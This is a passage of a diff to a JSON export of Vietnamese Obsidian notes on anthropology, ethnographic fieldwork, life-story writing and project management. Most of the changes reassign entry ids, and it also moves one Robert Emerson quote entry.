quyền", @@ -17002,7 +17194,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "GV" + "id": "Gh" }, { "Tiêu đề": "Uy quyền diễn giải loại bỏ các quá trình đối thoại. Uy quyền đối thoại hoàn toàn che dấu đi tiến trình văn bản hóa", @@ -17018,7 +17210,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-12T05:37:00.000Z", - "id": "GW" + "id": "Gi" }, { "Tiêu đề": "Biểu tượng là hệ quả của sự nội tâm hoá", @@ -17034,7 +17226,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "GX" + "id": "Gj" }, { "Tiêu đề": "Không trực tiếp nói đồ vật được dùng để làm gì, mà mô tả sao cho người đọc tự liên hệ được tới chức năng của nó", @@ -17050,7 +17242,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-09T13:41:00.000Z", - "id": "GY" + "id": "Gk" }, { "Tiêu đề": "Kể về bản thân cho người khác vừa là sự kết nối những với tổn thương của mình, vừa là một lần tự sát", @@ -17066,7 +17258,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-23T13:40:00.000Z", - "id": "GZ" + "id": "Gl" }, { "Tiêu đề": "Mỗi một đồ vật, hành vi đều là ẩn dụ của một biểu tượng văn hoá", @@ -17082,7 +17274,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-22T10:09:00.000Z", - "id": "Ga" + "id": "Gm" }, { "Tiêu đề": "Phía sau các tình tiết hiển hiện ở bên ngoài tiềm ẩn các ý nghĩa phía sau", @@ -17098,7 +17290,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Gb" + "id": "Gn" }, { "Tiêu đề": "Tình tiết là các sự kiện cá nhân", @@ -17114,7 +17306,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-23T13:40:00.000Z", - "id": "Gc" + "id": "Go" }, { "Tiêu đề": "Việc phân tích văn hoá không phải là một khoa học thực nghiệm tìm kiếm quy luật, mà là một khoa học lý giải ý nghĩa", @@ -17130,7 +17322,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Gd" + "id": "Gp" }, { "Tiêu đề": "Văn bản là nơi ta đọc ra các ý nghĩa và diễn giải nó", @@ -17146,7 +17338,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Ge" + "id": "Gq" }, { "Tiêu đề": "Văn hoá có liên quan chặt chẽ đến biểu tượng", @@ -17162,7 +17354,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-18T13:55:00.000Z", "Ngày cập nhật": "2023-11-28T08:15:00.000Z", - "id": "Gf" + "id": "Gr" }, { "Tiêu đề": "Cộng đồng là tác giả của nghiên cứu, nhà nhân học chỉ là người mang thông điệp của cộng đồng đi đối thoại", @@ -17178,7 +17370,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-11T14:31:00.000Z", "Ngày cập nhật": "2023-11-13T15:00:00.000Z", - "id": "Gg" + "id": "Gs" }, { "Tiêu đề": "Một bài viết là sự tương tác giữa rất nhiều tác giả, dù có thể ta không nhìn thấy điều đó một cách rõ ràng", @@ -17194,7 +17386,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-09T15:41:00.000Z", - "id": "Gh" + "id": "Gt" }, { "Tiêu đề": "Từ chống chủ quan đến liên chủ thể", @@ -17210,7 +17402,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-11T14:27:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Gi" + "id": "Gu" }, { "Tiêu đề": "❓Sự khác biệt giữa việc đưa thư và chăm trích dẫn là gì", @@ -17226,7 +17418,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Gj" + "id": "Gv" }, { "Tiêu đề": "❓Việc quan sát tham dự biến việc diễn giải trở thành mô tả", @@ -17242,7 +17434,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Gk" + "id": "Gw" }, { "Tiêu đề": "❓Wikipedia là góc nhìn thượng đế, nhưng nó lại là cơ chế để tất cả mọi người là đồng tác giả", @@ -17258,7 +17450,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-14T04:59:00.000Z", - "id": "Gl" + "id": "Gx" }, { "Tiêu đề": "Dân tộc học là nhân học văn hoá", @@ -17274,7 +17466,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-19T03:58:00.000Z", - "id": "Gm" + "id": "Gy" }, { "Tiêu đề": "Dấn thân, quan sát và ghi chép là những chỉ báo cho thấy mức độ hoà nhập", @@ -17290,7 +17482,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-11T14:16:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Gn" + "id": "Gz" }, { "Tiêu đề": "Dữ liệu nhỏ cũng có tính dự báo xu hướng giống như dữ liệu lớn", @@ -17306,7 +17498,24 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-11T13:37:00.000Z", "Ngày cập nhật": "2023-10-27T16:57:00.000Z", - "id": "Go" + "id": "G-" + }, + { + "Tiêu đề": "Nhà nghiên cứu điền dã không thể và không nên cố tỏ ra chỉ là con ruồi đậu trên bức tường", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Nhân học/Nhà nghiên cứu điền dã không thể và không nên cố tỏ ra chỉ là con ruồi đậu trên bức tường", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Mô tả bài đăng": "Robert Emerson", + "Toàn bộ nội dung": "> Nhà nghiên cứu điền dã không thể và không nên cố tỏ ra chỉ là con ruồi đậu trên bức tường\n> — Robert Emerson\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-04T07:54:00.000Z", + "Ngày cập nhật": "2024-09-02T18:20:00.000Z", + "id": "G_" }, { "Tiêu đề": "Nhân học cho ta cái nhìn sơ lược về những khả thể khác của con người", @@ -17322,7 +17531,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-12T13:43:00.000Z", - "id": "Gp" + "id": "H0" }, { "Tiêu đề": "Nhiều ngành học xem con người là kết quả của những thứ bên ngoài trong mối quan hệ nhân quả. Nhân học chỉ chú trọng đến việc nói rằng bạn có thể khác biệt, rằng bạn còn có thể là người khác", @@ -17338,7 +17547,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-18T10:40:00.000Z", "Ngày cập nhật": "2023-10-12T13:36:00.000Z", - "id": "Gq" + "id": "H1" }, { "Tiêu đề": "Nhân học là triết học trong xã hội", @@ -17354,11 +17563,11 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-12T13:43:00.000Z", - "id": "Gr" + "id": "H2" }, { "Tiêu đề": "Nhân học", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Nhân học/Nhân học", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Nhân học", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" @@ -17370,7 +17579,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-12T15:30:00.000Z", "Ngày cập nhật": "2024-07-23T06:37:00.000Z", - "id": "Gs" + "id": "H3" }, { "Tiêu đề": "Nhật ký điền dã", @@ -17386,7 +17595,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-12T15:18:00.000Z", - "id": "Gt" + "id": "H4" }, { "Tiêu đề": "Hoạt động trải nghiệm là việc tận dụng những gợi ý manh mối, dấu vết, cử chỉ, và cảm quan trước khi phát triển những diễn giải ổn định", @@ -17402,7 +17611,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Gu" + "id": "H5" }, { "Tiêu đề": "Quan sát tham dự cho nhà nghiên cứu uy quyền về trải nghiệm", @@ -17418,7 +17627,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Gv" + "id": "H6" }, { "Tiêu đề": "Quan sát tham dự không phải là khai thác thông tin", @@ -17434,7 +17643,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-11T14:08:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Gw" + "id": "H7" }, { "Tiêu đề": "Quan sát tham dự là sự kết hợp giữa trải nghiệm cá nhân với cường độ cao và phân tích khoa học", @@ -17450,7 +17659,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Gx" + "id": "H8" }, { "Tiêu đề": "Quan sát tham dự đời sống xã hội chính là một quá trình thay đổi toàn bộ con người mình để trở thành thành viên của cộng đồng", @@ -17466,7 +17675,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-11T14:09:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Gy" + "id": "H9" }, { "Tiêu đề": "Sự sáng tạo mang tính trải nghiệm là một sản phẩm mang tính chủ quan, chứ không mang tính liên chủ thể hay dựa trên sự đối thoại", @@ -17482,7 +17691,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Gz" + "id": "HA" }, { "Tiêu đề": "❓Nhà nghiên cứu khi điền dã thì cũng đã có một mục tiêu nghiên cứu nào đó rồi. Nếu không phải khai thác thông tin thì sẽ không hoàn thành công việc được", @@ -17498,7 +17707,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-09T14:04:00.000Z", - "id": "G-" + "id": "HB" }, { "Tiêu đề": "❓Quan sát tham dự có yêu cầu họ tập trung nói về một chủ đề nào đó không", @@ -17514,7 +17723,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-09T14:04:00.000Z", - "id": "G_" + "id": "HC" }, { "Tiêu đề": "Quan điểm của các cá nhân", @@ -17530,7 +17739,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "H0" + "id": "HD" }, { "Tiêu đề": "Quá trình nghiên cứu nói chung là một sự thương thảo diễn ra liên tục", @@ -17546,7 +17755,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-03T05:10:00.000Z", - "id": "H1" + "id": "HE" }, { "Tiêu đề": "Topic modelling trong NLP dùng cho máy và cần tập dữ liệu lớn. Còn thematic analysis trong nhân học thì dành cho người, nhấn mạnh vào yếu tố thị giác", @@ -17562,7 +17771,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-10T09:14:00.000Z", - "id": "H2" + "id": "HF" }, { "Tiêu đề": "Cho độc giả xem, không kể lại", @@ -17578,7 +17787,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-27T14:04:00.000Z", - "id": "H3" + "id": "HG" }, { "Tiêu đề": "Cái quan trọng của câu chuyện là tinh thần, thông điệp và sự kiện. Còn ngôn từ, cách biểu đạt chỉ là thứ cấp", @@ -17594,7 +17803,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-11-13T14:26:00.000Z", "Ngày cập nhật": "2023-11-13T14:26:00.000Z", - "id": "H4" + "id": "HH" }, { "Tiêu đề": "Câu chuyện cuộc đời có khả năng bị cảm xúc của nhân vật chi phối câu chuyện", @@ -17610,7 +17819,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-13T14:22:00.000Z", - "id": "H5" + "id": "HI" }, { "Tiêu đề": "Kết nối dòng chảy cuộc đời của nhân vật với quãng đường xã hội", @@ -17626,7 +17835,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-27T13:57:00.000Z", - "id": "H6" + "id": "HJ" }, { "Tiêu đề": "Một người trung niên kể về thời họ 6 tuổi khác với đứa bé 6 tuổi đó kể về mình", @@ -17642,7 +17851,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-13T14:22:00.000Z", - "id": "H7" + "id": "HK" }, { "Tiêu đề": "Những đau buồn của nhân vật tạo ra tình tiết", @@ -17658,7 +17867,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-13T14:14:00.000Z", - "id": "H8" + "id": "HL" }, { "Tiêu đề": "Niên biểu là để lên kế hoạch và nhớ các từ khoá quan trọng, còn khi viết chuyện thì viết theo từ khoá", @@ -17674,7 +17883,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-13T14:28:00.000Z", - "id": "H9" + "id": "HM" }, { "Tiêu đề": "Ta có thể hư cấu nội tâm nhân vật dựa trên dữ liệu", @@ -17690,7 +17899,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-27T13:33:00.000Z", - "id": "HA" + "id": "HN" }, { "Tiêu đề": "Việc chọn chủ đề phụ thuộc vào niên biểu và thông điệp", @@ -17706,7 +17915,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-13T14:28:00.000Z", - "id": "HB" + "id": "HO" }, { "Tiêu đề": "Việc hỏi quan điểm có thể gặp việc tránh né, hoặc câu trả lời bị theo tư duy của họ, hoặc không tạo đủ chất liệu cho việc kể chuyện", @@ -17722,7 +17931,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-13T14:14:00.000Z", - "id": "HC" + "id": "HP" }, { "Tiêu đề": "Điểm nhìn ngôi thứ nhất không hoá thân được vào các không gian, nhưng suy tư được vào chính thế giới nội tâm của mình", @@ -17738,7 +17947,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-30T14:03:00.000Z", - "id": "HD" + "id": "HQ" }, { "Tiêu đề": "❓Mình có nhất thiết phải không thể hiện quan điểm của mình về nhân vật không", @@ -17754,7 +17963,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-30T13:25:00.000Z", - "id": "HE" + "id": "HR" }, { "Tiêu đề": "❓Ngôi thứ ba thực ra vẫn chỉ là ngôi thứ nhất mà thôi", @@ -17770,7 +17979,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-30T14:04:00.000Z", - "id": "HF" + "id": "HS" }, { "Tiêu đề": "❓Nếu đã xuất bản rồi mà nhân vật muốn rút lại thì làm sao", @@ -17786,7 +17995,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-30T13:21:00.000Z", - "id": "HG" + "id": "HT" }, { "Tiêu đề": "Chỉ cần ghi những thứ để mình nhớ, và để người khác nhặt được cũng không hiểu gì", @@ -17802,7 +18011,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-09T13:48:00.000Z", - "id": "HH" + "id": "HU" }, { "Tiêu đề": "Các bước thực hiện điền dã", @@ -17818,7 +18027,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "HI" + "id": "HV" }, { "Tiêu đề": "Hãy cài cắm các chi tiết", @@ -17834,7 +18043,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-27T11:59:00.000Z", - "id": "HJ" + "id": "HW" }, { "Tiêu đề": "Hãy tham gia như một phần của cộng đồng chứ không phải thúc đẩy cộng đồng", @@ -17850,7 +18059,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-12T07:14:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "HK" + "id": "HX" }, { "Tiêu đề": "Muốn cấu trúc hoá bối cảnh thì cần phải có tiêu điểm", @@ -17866,7 +18075,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-09T12:45:00.000Z", - "id": "HL" + "id": "HY" }, { "Tiêu đề": "Nhà nghiên cứu luôn trong tâm thế có thể sẽ rời đi", @@ -17882,7 +18091,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-11T14:11:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "HM" + "id": "HZ" }, { "Tiêu đề": "Nếu không tuân thủ việc không tác động dù chỉ là lời khuyên, thì cái kết quả nghiên cứu cũng có thể là cái mà mình tạo ra", @@ -17898,7 +18107,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-11T14:10:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "HN" + "id": "Ha" }, { "Tiêu đề": "Quá trình điền dã từ đầu đến cuối luôn bị chi phối bởi việc viết lách", @@ -17914,7 +18123,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-24T15:38:00.000Z", "Ngày cập nhật": "2023-10-20T17:46:00.000Z", - "id": "HO" + "id": "Hb" }, { "Tiêu đề": "Quá tập trung vào tình tiết mà bỏ qua bối cảnh thì sẽ thành góc nhìn thượng đế", @@ -17930,7 +18139,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-01T12:51:00.000Z", - "id": "HP" + "id": "Hc" }, { "Tiêu đề": "Trình thuật cuộc đời, câu chuyện cuộc đời, tiểu sử là giống nhau", @@ -17946,7 +18155,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-28T06:20:00.000Z", - "id": "HQ" + "id": "Hd" }, { "Tiêu đề": "❓Có đưa ghi chú của mình cho người mình nghiên cứu xem", @@ -17962,7 +18171,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "HR" + "id": "He" }, { "Tiêu đề": "❓Khi nào thì họ sẽ nói về những thứ họ thấy xấu hổ hoặc tội lỗi", @@ -17978,7 +18187,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T11:31:00.000Z", - "id": "HS" + "id": "Hf" }, { "Tiêu đề": "❓Môi trường đô thị thì cũng không có điều kiện để làm chung với họ được", @@ -17994,7 +18203,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-23T13:55:00.000Z", - "id": "HT" + "id": "Hg" }, { "Tiêu đề": "❓Một vài ví dụ hoặc nghiên cứu về sự ra quyết định can thiệp trong khi nghiên cứu", @@ -18010,7 +18219,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "HU" + "id": "Hh" }, { "Tiêu đề": "❓Nghe những gì họ nói thì chỉ là một chiều", @@ -18026,7 +18235,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-23T14:17:00.000Z", - "id": "HV" + "id": "Hi" }, { "Tiêu đề": "❓Người ta ngại không muốn từ chối thì mình có tiến tới ko", @@ -18042,7 +18251,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T11:28:00.000Z", - "id": "HW" + "id": "Hj" }, { "Tiêu đề": "❓Nếu họ bận mình chỉ có thể hẹn họ ra cà phê thì thời gian họ có thể dành cho mình cũng chỉ có thể là 1, 2 tiếng. Như vậy thì cũng đâu khác gì phỏng vấn", @@ -18058,7 +18267,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-11T15:48:00.000Z", - "id": "HX" + "id": "Hk" }, { "Tiêu đề": "❓Nếu trước khi xin làm nghiên cứu mình họ đã có sự không thoải mái với mình rồi thì sao", @@ -18074,7 +18283,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-11T15:50:00.000Z", - "id": "HY" + "id": "Hl" }, { "Tiêu đề": "❓Quá trình xây dựng sự tin tưởng như thế nào, khi mình không có cơ hội để làm giống như họ", @@ -18090,7 +18299,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-11T15:50:00.000Z", - "id": "HZ" + "id": "Hm" }, { "Tiêu đề": "❓Sau khi nghiên cứu xong thì giúp đỡ, tác động cũng được mà", @@ -18106,7 +18315,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Ha" + "id": "Hn" }, { "Tiêu đề": "❓Trường hợp va chạm thói quen, văn hoá, lối sống mà mình không biết nhưng cũng đủ gây ra sự khó chịu ở họ thì sao", @@ -18122,7 +18331,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Hb" + "id": "Ho" }, { "Tiêu đề": "❓Để một quan sát có chất lượng thì cần bao nhiêu thời gian ở cùng cộng đồng", @@ -18138,7 +18347,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-11T15:51:00.000Z", - "id": "Hc" + "id": "Hp" }, { "Tiêu đề": "Đối thoại thay vì phỏng vấn", @@ -18154,7 +18363,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-11T14:29:00.000Z", "Ngày cập nhật": "2023-12-19T05:05:00.000Z", - "id": "Hd" + "id": "Hq" }, { "Tiêu đề": "❓Khi nào thì một người sẽ cởi mở và thoải mái nói về những thứ họ không muốn nói", @@ -18170,7 +18379,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-13T15:06:00.000Z", - "id": "He" + "id": "Hr" }, { "Tiêu đề": "❓Nhân văn chỉ quan tâm đến việc lưu trữ, hiểu dữ liệu và tạo ra câu chuyện hay", @@ -18186,23 +18395,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-10T09:29:00.000Z", "Ngày cập nhật": "2024-08-10T10:31:00.000Z", - "id": "Hf" - }, - { - "Tiêu đề": "❝Nhà nghiên cứu điền dã không thể và không nên cố tỏ ra chỉ là con ruồi đậu trên bức tường❞ — Robert Emerson", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Nhân học/❝Nhà nghiên cứu điền dã không thể và không nên cố tỏ ra chỉ là con ruồi đậu trên bức tường❞ — Robert Emerson", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", - "Dự án": { - "Mã dự án": "C1" - }, - "Nội dung bài đăng": { - "Toàn bộ nội dung": "", - "Định dạng nội dung": "md" - }, - "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-04T07:54:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Hg" + "id": "Hs" }, { "Tiêu đề": "Agile dành cho sản phẩm thay đổi nhanh, và tập trung vào tốc độ và sự linh hoạt. Lean dành cho sản phẩm thay đổi chậm, và tập trung vào việc giảm lãng phí", @@ -18218,7 +18411,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-11T14:09:00.000Z", - "id": "Hh" + "id": "Ht" }, { "Tiêu đề": "Các công việc trong một dự án chủ yếu là các công việc khai phá. Các công việc trong một chiến dịch chủ yếu là các công việc khai thác", @@ -18234,7 +18427,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-11-28T05:55:00.000Z", "Ngày cập nhật": "2023-11-28T06:05:00.000Z", - "id": "Hi" + "id": "Hu" }, { "Tiêu đề": "Công việc chính là giải pháp", @@ -18250,7 +18443,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-07T12:22:00.000Z", - "id": "Hj" + "id": "Hv" }, { "Tiêu đề": "Công việc khai phá chính là quản lý kiến thức", @@ -18266,7 +18459,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-29T10:50:00.000Z", - "id": "Hk" + "id": "Hw" }, { "Tiêu đề": "Công việc khai phá và công việc khai thác", @@ -18282,7 +18475,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-20T16:17:00.000Z", - "id": "Hl" + "id": "Hx" }, { "Tiêu đề": "Công việc sẽ được gắn ở khắp nơi", @@ -18298,7 +18491,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-01T12:40:00.000Z", - "id": "Hm" + "id": "Hy" }, { "Tiêu đề": "Công việc và cuộc sống không thể tách rời nhau", @@ -18314,7 +18507,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-06T10:51:00.000Z", - "id": "Hn" + "id": "Hz" }, { "Tiêu đề": "Cần nghĩ về công việc như là một cách để kiểm định giả thiết, chứ không phải chỉ để hoàn thành", @@ -18330,7 +18523,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-11T13:22:00.000Z", - "id": "Ho" + "id": "H-" }, { "Tiêu đề": "Dự án chủ yếu là các công việc khám phá. Chương trình chủ yếu là các công việc khai phá", @@ -18346,23 +18539,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-04T15:57:00.000Z", "Ngày cập nhật": "2023-11-28T03:58:00.000Z", - "id": "Hp" - }, - { - "Tiêu đề": "Hệ thống 1 dựa vào trí nhớ dài hạn. Hệ thống 2 dựa vào trí nhớ ngắn hạn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Công việc/Hệ thống 1 dựa vào trí nhớ dài hạn. Hệ thống 2 dựa vào trí nhớ ngắn hạn", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", - "Dự án": { - "Mã dự án": "C1" - }, - "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: \n\n[[Việc nhìn ra mẫu hình cần những kiến thức có cấu trúc được lưu trong trí nhớ dài hạn]]\n[[Học là quá trình cấu trúc hoá những thứ phi cấu trúc]]", - "Định dạng nội dung": "md" - }, - "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": 